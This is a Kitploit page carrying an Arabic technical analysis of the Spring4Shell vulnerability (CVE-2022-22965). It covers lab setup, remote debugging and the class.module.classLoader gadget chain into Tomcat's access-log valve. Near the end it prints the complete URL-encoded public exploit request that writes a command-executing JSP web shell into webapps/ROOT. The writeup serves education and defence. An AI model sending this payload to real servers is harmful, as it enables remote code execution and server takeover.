Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-22965 — تحليل تقني متعمق لـ CVE-2022-22965 (Spring4Shell) مع إعداد البيئة، وشرح التصحيح خطوة بخطوة، وتحليل سلسلة الاستغلال للتمرين المختبري التعليمي. | Kitploit
أدوات/GitHubGitHub/khidottrivi/cve-2022-22965
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالتعلم والتعليممختبرات وتدريب عملي
GitHubkhidottrivi/cve-2022-22965

CVE-2022-22965

تحليل تقني متعمق لـ CVE-2022-22965 (Spring4Shell) مع إعداد البيئة، وشرح التصحيح خطوة بخطوة، وتحليل سلسلة الاستغلال للتمرين المختبري التعليمي.

عرض المستودع
42منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تحليل CVE-2022-22965_Spring4Shell

وصف الثغرة

Spring4Shell هو اسم CVE موجود في Spring Core من إطار العمل Spring.

بنقطة CVSS 3.x البالغة 9.8، تم تصنيف الثغرة ضمن أعلى مستوى مخاطر (حرج). تسمح هذه الثغرة للمهاجم بتنفيذ تعليمات برمجية خبيثة عن بُعد والتحكم في الخادم الذي يحتوي على الثغرة.

إلى جانب انتشار Spring Core على الإنترنت وخطورة Spring4Shell، يقيم الخبراء أن تأثير هذه الثغرة لا يقل عن Log4shell.

نطاق التأثير

لا تؤثر Spring4Shell على جميع تطبيقات الويب التي تستخدم إطار العمل Spring على الإنترنت، بل تتطلب وجود العناصر التالية في تطبيق الويب:

  • التطبيق يستخدم إطار العمل Spring إصدار < 5.2, 5.2.0 – 5.2.19 أو 5.3.0 - 5.3.17
  • التطبيق يستخدم أحد التبعيات Spring-webmvc أو Spring-webflux
  • التطبيق يستخدم java مع إصدار jdk >= 9
  • التطبيق معبأ على شكل أرشيف ويب Java تقليدي (ملف .war) ويتم نشره في Tomcat (لم يتم اكتشاف الثغرة في التطبيقات التي تعمل بـ Springboot)

إعداد البيئة

البيئة التي قمت بإعدادها ستحتوي على المواصفات التالية:

  • Spring Framework 5.1.0
  • تبعية Spring-webmvc 5.1.0
  • JDK 11.0.13 (أستخدم آلة افتراضية kali 2021.4a وهذا الإصدار من java مثبت مسبقًا)
  • Apache Tomcat 9.0.45

إنشاء بيئة ومشروع يحتوي على الثغرة وإعداد التصحيح باستخدام Intellij

  1. تثبيت Apache Tomcat

    كما ذكرت أعلاه، أستخدم kali 2021.4a و Apache Tomcat 9.0.45. إذا كنت لا تعرف كيفية تثبيت Apache Tomcat وتريد تثبيته على Kali Linux، يمكنك الاطلاع على هذا الرابط.

    ملاحظة: استبدل الرابط https://mirror.kiu.ac.ug/apache/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz بـ https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz

  2. اختيار بيئة التطوير المتكاملة IDE

    نحتاج إلى IDE لكتابة المشروع، وتجميعه على شكل ملف .war، والأهم من ذلك هو التصحيح. أنا أستخدم Intellij، يمكنك استخدام Eclipse أو Netbeans... المهم أن IDE يدعم java.

  3. إنشاء مشروع بسيط يحتوي على الثغرة

    مشروعي بسيط جدًا، ويتكون من:

    • نموذج HelloWorld.java

      Untitled

    • وحدة تحكم HelloWorldController.java

      Untitled

    • عرض hello.jsp

      Untitled

  4. بناء ملف .war

    لتجميع المشروع، قم بما يلي: Build -> Build Artifacts -> helloworld:war -> Build.

    انتظر حتى يكتمل البناء بنجاح، عندها سيظهر مجلد إضافي باسم out في المشروع. اذهب إلى ./out/artifacts/your_war_name/ وستجد ملفًا باسم your_war_name.war، هذا الملف .war هو مشروع الويب بعد التجميع والتعبئة، ويمكن استخدامه للنشر على خوادم Java Servlet مثل Apache Tomcat.

    إذا كان Build Artifacts غير نشط (لا يمكن بناء Artifacts)، فهذا يعني أن Build Artifacts لم يتم إعداده لهذا المشروع. اذهب إلى: File -> Project Structure -> Artifacts -> احذف جميع artifacts الموجودة -> Add (علامة +) -> Web Application: Exploded -> From Modules... -> OK (انتهاء إنشاء Exploded) -> Add (علامة +) -> Web Application: Archive -> For ‘helloworld:war exploded’ -> OK. ثم أعد تنفيذ Build Artifacts.

  5. النشر وإعداد التصحيح

    • النشر

      لنشر ملف .war على Apache Tomcat،只需 copy ملف .war إلى المجلد /webapps داخل مجلد Apache Tomcat (مثال: بالنسبة لي، سأقوم بنسخ ملف helloworld.war (أعدت تسميته لسهولة الاستدعاء) إلى المجلد /opt/tomcat/apache-tomcat-9.0.45/webapps/). بعد ذلك، قم بتشغيل خادم Tomcat بإحدى طريقتين (لنظام linux):

      • /opt/tomcat/apache-tomcat-9.0.45/bin/catalina.sh start (سيتم تشغيل التطبيق بصلاحية المستخدم الذي نفذ الأمر، بالنسبة لي هو root)
      • sudo service tomcat start (عادةً ما يعمل التطبيق بصلاحية tomcat، اعتمادًا على إعداد الخدمة عند تثبيت Apache Tomcat)

      بعد النشر، تفضل بزيارة http://localhost:8080/helloworld

    • إعداد التصحيح

      لإعداد التصحيح (عن بُعد) لـ Tomcat، اتبع ما يلي:

      1. جانب الخادم:

        • افتح ملف catalina.sh واستبدل قيمة localhost بـ ip_may_ao للمعامل JPDA_ADDRESS

          Untitled

        • أعد تشغيل خادم Tomcat باستخدام: /opt/tomcat/apache-tomcat-9.0.45/bin/catalina.sh jpda start. في هذه الحالة، بالإضافة إلى فتح المنفذ 8080 لخادم HTTP، سيفتح Tomcat أيضًا المنفذ 8000 للسماح لنا بالاتصال به والتصحيح

        ملاحظة: في جزء التصحيح هذا، أقوم بتشغيل Intellij على Windows 10 وتشغيل Tomcat على الآلة الافتراضية Kali، لذلك أحتاج إلى تغيير JPDA_ADDRESS. إذا قمت بإعداد كل من Intellij و Windows 10 على نفس الجهاز، فلا تحتاج إلى تغييره.

      2. جانب Intellij:

        • اذهب إلى Run -> Edit Configurations... -> Add (علامة +) -> Remote JVM Debug

        • قم بتسميته -> قم بتعديل Host و Port ليكون عنوان IP والمنفذ الذي قمت بتعديله في ملف catalina.sh -> OK -> Shift + F9 (بدء التصحيح)

          Untitled

تحليل مفصل

أولاً، سأقوم بتحليل المشروع الذي أستخدمه للتصحيح، كما ذكرت أعلاه، هذا المشروع ببساطة يتكون من:

  • نموذج HelloWorld.java، حيث يحتوي كائن HelloWorld على خاصيتين: message (سلسلة نصية) و person (سلسلة نصية) ودوال setter و getter (بسبب هذه البنية البسيطة، يُسمى هذا الكائن Plain Old Java Object - POJO). يجب أن يكون هناك فصل POJO في المشروع - وهذا هو الشرط اللازم لاستغلال ثغرة Spring4Shell.
  • وحدة تحكم HelloWorldController.java، في هذا الفصل توجد دالة helloPost تحتوي على معاملات إدخال تشمل كائن helloWorld (HelloWorld) و model (Model). في دالة helloPost، يتم إضافة خصائص للنموذج model من قيم خصائص helloWorld (person و message) - الشرط الثاني لاستغلال ثغرة Spring4Shell هو وجود وحدة تحكم تستقبل كائن POJO كمدخل.
  • عرض hello.jsp، في هذا الملف hello.jsp، يتم استدعاء الخصائص الموجودة في model (المرسلة من وحدة التحكم HelloWorldController.java) وعرضها للمستخدم.

لدي مثال كما يلي:

Untitled

قام التطبيق بأخذ المعلومات من معاملات طلب POST وإنشاء كائن helloWorld{"person":"Leo", "message":"Hi there"}، هذا الكائن helloWorld هو المدخل لدالة helloPost. سيقوم التطبيق بالعمل كما ذكرت أعلاه لإعادة الاستجابة للمستخدم.

عملية تحويل المعاملات في جسم طلب POST إلى كائن helloWorld تتم بالكامل تلقائيًا بواسطة Spring، فكيف يعمل ذلك؟ وهل يقوم بالتحقق من صحة المعاملات المدخلة؟

المصدر (Source) لفئة CachedIntrospectionResults

هذه الصورة ملتقطة أثناء عملية التصحيح، مثال تم تنفيذه بطلب body هو "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT" (سأشير إلى الجانب الأيسر (تتبع الاستدعاءات stack trace) بـ (1) والجانب الأيمن بـ (2)):

Untitled

في (1) قمت بتمييز النقاط المهمة (بالنظر من الأسفل إلى الأعلى)، حيث سيقوم Spring بتنفيذ applyPropertyValue لكائن helloWorld من معاملات طلب POST. وإذا كانت المعاملات ببساطة person=Leo&message=Hi%20space، فسيتمكن Spring من العثور على أن الكلمة المفتاحية 'person' تقابل helloWorld.person، و 'message' تقابل helloWorld.message.

لكن Spring يسمح لنا أيضًا بإرسال الكائنات عبر طلب http (القول بإرسال كائن عبر http مبالغ فيه بعض الشيء، لكن فهمه هكذا تقريبي). لنفترض أن خاصية person لم تعد سلسلة نصية بل ستكون كائن Person، وفي Person سيكون هناك خاصيتان فرعيتان: name (سلسلة نصية) و age (عدد صحيح). ولإرسال معلومات كائن Person هذا إلى الخادم سيكون كالتالي: "person.name=Leo&person.age=23".

إذن شكل المعاملات سيكون A.B.C.D… = X بدلاً من A=X. ولمعالجة الشكل A.B.C.D… = X، لنفترض أن هناك معامل مثل A.B.C = X، فببساطة سيقوم Spring بهذا العمل: تحويل ما سبق إلى getA.getB.setC(X).

لن أشرح ما هو getA، بل سأمثل بحالة يكون فيها طلب body هو "person.name=Leo&person.age=23"، فسيبحث Spring في كائن helloWorld عن خاصية person ودالة getPerson، وإذا وجدها، سيقوم Spring باستدعاء helloWorld.getPerson()، وعندها سيحصل Spring على كائن من نوع Person، دعني أسميه مؤقتًا person1، وسيبحث Spring في person1 عن خاصية 'name' و setName (لأن بعد 'name' تأتي علامة '=')، وإذا وجدها، سيقوم باستدعاء setName(Leo) لـ person1.

أما بالنسبة لـ person.age، فلن يعيد Spring البحث من البداية للعثور على person ثم age، بل سيعيد استخدام الكائنات السابقة، في هذه الحالة helloWorld و person1.

بعد الخطوات المذكورة أعلاه، سيكون لدى الخادم كائن helloWorld{person:{name:"Leo", age:23}} (دعنا نتجاهل خاصية message مؤقتًا).

إذن كيف يستطيع Spring العثور على خصائص كل كائن، مثل خاصية 'person' لكائن helloWorld؟

انظر إلى بداية (1) حيث توجد دالة CachedIntrospectionResults(beanClass)، هذه الدالة تقوم بإدراج خصائص beanClass. انظر إلى (2) سترى أنه عندما يكون beanClass هو model.HelloWorld، سيكون هناك 3 خصائص. بينما نموذج HelloWorld الذي أنشأته يحتوي فقط على خاصيتين 'person' و 'message'، إذن الدالة أعلاه أضافت خاصية 'class'، وإذا قمت بتوسيع سطر 'class' سترى أن نوع الخاصية هو 'java.lang.class'

إذن يمكننا التأثير على كائن class من نوع java.lang.class -> هذا هو مصدر (source) هذه الثغرة Spring4Shell.

CVE-2010-1622

بخصوص المصدر أعلاه، فقد كان هناك CVE-2010-1622 متعلق بهذا المصدر. قام مؤلف CVE-2010-1622 باستغلال هذا المصدر باستخدام الحمولة class.classLoader.URLs[0] = X.

لأن فئة java.lang.class تحتوي على دالة getClassLoader() التي تُرجع كائن ClassLoader، ويمكن التأثير على هذا ClassLoader على مصفوفة URLs الخاصة بـ Tomcat (المستخدمة لتحميل الموارد). ومن خلال القدرة على التأثير على URLs، يمكن للمهاجم تغيير قيمة URLs[0] إلى عنوان URL لتنفيذ اتصال عن بُعد بملف Jar خبيث (يسيطر عليه المهاجم).

لإصلاح هذا الخطأ، قام Spring بتطبيق فلتر (قائمة سوداء) في دالة CachedIntrospectionResults(beanClass):

Untitled

إذا كان 'beanClass' == Class.class (java.lang.class)، فيجب أن تكون pd مختلفة عن 'classLoader' و 'protectionDomain'، والدليل أنه بعد أن تقوم CachedIntrospectionResults بتحميل جميع خصائص java.lang.class، لا توجد خاصيتا 'classLoader' و 'protectionDomain':

Untitled

لكن بدلاً من ذلك، بدءًا من JDK 9، تمت إضافة خاصية 'module' إلى Class.class، وفي Class.module توجد خاصية classLoader:

Untitled

→ إذن باستخدام JDK 9 فما فوق، يمكن تجاوز القائمة السوداء لـ Spring!!!

الهدف (Sink) لفئة AccessLogValue

استنادًا إلى PoC العام لثغرة Spring4Shell، نرى أن الحمولة التي استخدموها تأخذ الشكل:

class.module.classloader.resources.context.parent.pipeline.first ⇔ Class.getModule().getClassLoader().getResources().getContext().getParent().getPipeline().getFirst()

بناءً على التصحيح، يمكننا رؤية سلسلة الأدوات التالية (gadget chain):

java.lang.class.getModule() -> java.lang.module.getClassLoader() -> org.apache.catalina.loader.ParallelWebappClassLoader.getResources() -> org.apache.catalina.webresources.StandardRoot.getContext() -> org.apache.catalina.core.StandardContext.getParent() -> org.apache.catalina.core.StandardHost.getPipeline() -> org.apache.catalina.core.StandardPipeline.getFirst() -> org.apache.catalina.valves.AccessLogValue.

وفئة AccessLogValue تحتوي على الخصائص التالية:

Untitled

يمكننا استدعاء كائن AccessLogValue، وهذا الكائن AccessLogValue يؤثر على تسجيل السجلات (log) في Tomcat.

→ يمكننا إنشاء ملف على الخادم عن طريق تعيين خصائص كائن AccessLogValue على خادم Tomcat. للقيام بذلك، في PoC قاموا بتعيين الخصائص Prefix، Suffix، Pattern، Directory و fileDateFormat. وسيكون طلب الحمولة كالتالي:

"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

  • قائمة نقاط التوقف (Breakpoints)

    لتسهيل عملية التصحيح، يمكنك وضع نقاط التوقف في المواقع التالية:

    Untitled

الخاتمة

هذا التحليل ليس به خاتمة بالمعنى الحقيقي، هذه الفقرة أضيفت فقط من أجل الشكل!!!

إذا كنت تبحث عن طريقة للإصلاح، فهي هنا.

تنزيل الأداة